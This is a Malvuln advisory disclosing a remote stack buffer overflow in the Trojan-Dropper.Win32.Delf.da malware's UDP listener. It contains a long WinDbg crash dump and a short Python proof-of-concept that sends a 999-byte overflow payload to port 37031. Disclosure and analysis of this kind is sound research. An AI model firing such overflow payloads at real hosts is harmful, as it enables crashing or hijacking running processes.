Trojan-Dropper.Win32.Delf.da malware suffers from a buffer overflow vulnerability.
d3f8bf0f02a6872665d054c4cd406827Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a2f1adfd7a35fd0e0207a24be169b4c1.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Delf.da
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: Delf.da malware listens on UDP port 37031. Adversaries who can reach the infected system can send a payload of just 999 bytes and trigger a classic stack buffer overflow. This will overwrite ECX and EIP stack registers potentially allowing control of the malwares execution flow.
Type: PE32
MD5: a2f1adfd7a35fd0e0207a24be169b4c1
Vuln ID: MVID-2021-0137
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/19/2021
Memory Dump:
(fc8.564): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77129d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1430 ebp=000a1450 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe
*** ERROR: Module load completed but symbols could not be loaded for Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe
FAULTING_IP:
Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+2853
00402853 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: 0019f7c0 -- (.exr 0x19f7c0)
ExceptionAddress: 00402853 (Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+0x00002853)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000
PROCESS_NAME: Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+2853
00402853 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
FAILED_INSTRUCTION_ADDRESS:
+2853
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019f810 -- (.cxr 0x19f810)
eax=000003e7 ebx=042fcb10 ecx=0000002b edx=0019fcc6 esi=042fce6c edi=0019fffe
eip=00402853 esp=0019fc70 ebp=0019fc80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+0x2853:
00402853 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 004ae449 to 00402853
STACK_TEXT:
0019fc70 00402853 trojan_dropper_win32_delf_da+0x2853
0019fc88 004ae449 trojan_dropper_win32_delf_da+0xae449
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019fea0 41414141 unknown!printable+0x0
0019fea4 41414141 unknown!printable+0x0
0019fea8 41414141 unknown!printable+0x0
0019feac 41414141 unknown!printable+0x0
0019feb0 41414141 unknown!printable+0x0
0019feb4 41414141 unknown!printable+0x0
0019feb8 41414141 unknown!printable+0x0
0019febc 41414141 unknown!printable+0x0
0019fec0 41414141 unknown!printable+0x0
0019fec4 41414141 unknown!printable+0x0
0019fec8 41414141 unknown!printable+0x0
0019fecc 41414141 unknown!printable+0x0
0019fed0 41414141 unknown!printable+0x0
0019fed4 41414141 unknown!printable+0x0
0019fed8 41414141 unknown!printable+0x0
0019fedc 41414141 unknown!printable+0x0
0019fee0 41414141 unknown!printable+0x0
0019fee4 41414141 unknown!printable+0x0
0019fee8 41414141 unknown!printable+0x0
0019feec 41414141 unknown!printable+0x0
0019fef0 41414141 unknown!printable+0x0
0019fef4 41414141 unknown!printable+0x0
0019fef8 41414141 unknown!printable+0x0
0019fefc 41414141 unknown!printable+0x0
0019ff00 41414141 unknown!printable+0x0
0019ff04 41414141 unknown!printable+0x0
0019ff08 41414141 unknown!printable+0x0
0019ff0c 41414141 unknown!printable+0x0
0019ff10 41414141 unknown!printable+0x0
0019ff14 41414141 unknown!printable+0x0
0019ff18 41414141 unknown!printable+0x0
0019ff1c 41414141 unknown!printable+0x0
0019ff20 41414141 unknown!printable+0x0
0019ff24 41414141 unknown!printable+0x0
0019ff28 41414141 unknown!printable+0x0
0019ff2c 41414141 unknown!printable+0x0
0019ff30 41414141 unknown!printable+0x0
0019ff34 41414141 unknown!printable+0x0
0019ff38 41414141 unknown!printable+0x0
0019ff3c 41414141 unknown!printable+0x0
0019ff40 41414141 unknown!printable+0x0
0019ff44 41414141 unknown!printable+0x0
0019ff48 41414141 unknown!printable+0x0
0019ff4c 41414141 unknown!printable+0x0
0019ff50 41414141 unknown!printable+0x0
0019ff54 41414141 unknown!printable+0x0
0019ff58 41414141 unknown!printable+0x0
0019ff5c 41414141 unknown!printable+0x0
0019ff60 41414141 unknown!printable+0x0
0019ff64 41414141 unknown!printable+0x0
0019ff68 41414141 unknown!printable+0x0
0019ff6c 41414141 unknown!printable+0x0
0019ff70 41414141 unknown!printable+0x0
0019ff74 41414141 unknown!printable+0x0
0019ff78 41414141 unknown!printable+0x0
0019ff7c 41414141 unknown!printable+0x0
0019ff80 41414141 unknown!printable+0x0
0019ff84 41414141 unknown!printable+0x0
0019ff88 41414141 unknown!printable+0x0
0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!printable+0x0
0019ff94 41414141 unknown!printable+0x0
0019ff98 41414141 unknown!printable+0x0
0019ff9c 41414141 unknown!printable+0x0
0019ffa0 41414141 unknown!printable+0x0
0019ffa4 41414141 unknown!printable+0x0
0019ffa8 41414141 unknown!printable+0x0
0019ffac 41414141 unknown!printable+0x0
0019ffb0 41414141 unknown!printable+0x0
0019ffb4 41414141 unknown!printable+0x0
0019ffb8 41414141 unknown!printable+0x0
0019ffbc 41414141 unknown!printable+0x0
0019ffc0 41414141 unknown!printable+0x0
0019ffc4 41414141 unknown!printable+0x0
0019ffc8 41414141 unknown!printable+0x0
0019ffcc 41414141 unknown!printable+0x0
0019ffd0 41414141 unknown!printable+0x0
0019ffd4 41414141 unknown!printable+0x0
0019ffd8 41414141 unknown!printable+0x0
0019ffdc 41414141 unknown!printable+0x0
0019ffe0 41414141 unknown!printable+0x0
0019ffe4 41414141 unknown!printable+0x0
0019ffe8 41414141 unknown!printable+0x0
0019ffec 41414141 unknown!printable+0x0
0019fff0 41414141 unknown!printable+0x0
0019fff4 41414141 unknown!printable+0x0
0019fff8 41414141 unknown!printable+0x0
0019fffc 41414141 unknown!printable+0x0
STACK_COMMAND: .cxr 000000000019F810 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc70 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: trojan_dropper_win32_delf_da+2853
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1
IMAGE_NAME: Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_trojan_dropper_win32_delf_da+2853
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe!Unknown
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=37031
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*999
s.send(PAYLOAD)
s.close()
print("Trojan-Dropper.Win32.Delf.da / Remote Stack Buffer Overflow (UDP)")
print("MD5: a2f1adfd7a35fd0e0207a24be169b4c1")
print("Malvuln")
if __name__=="__main__":
doit()
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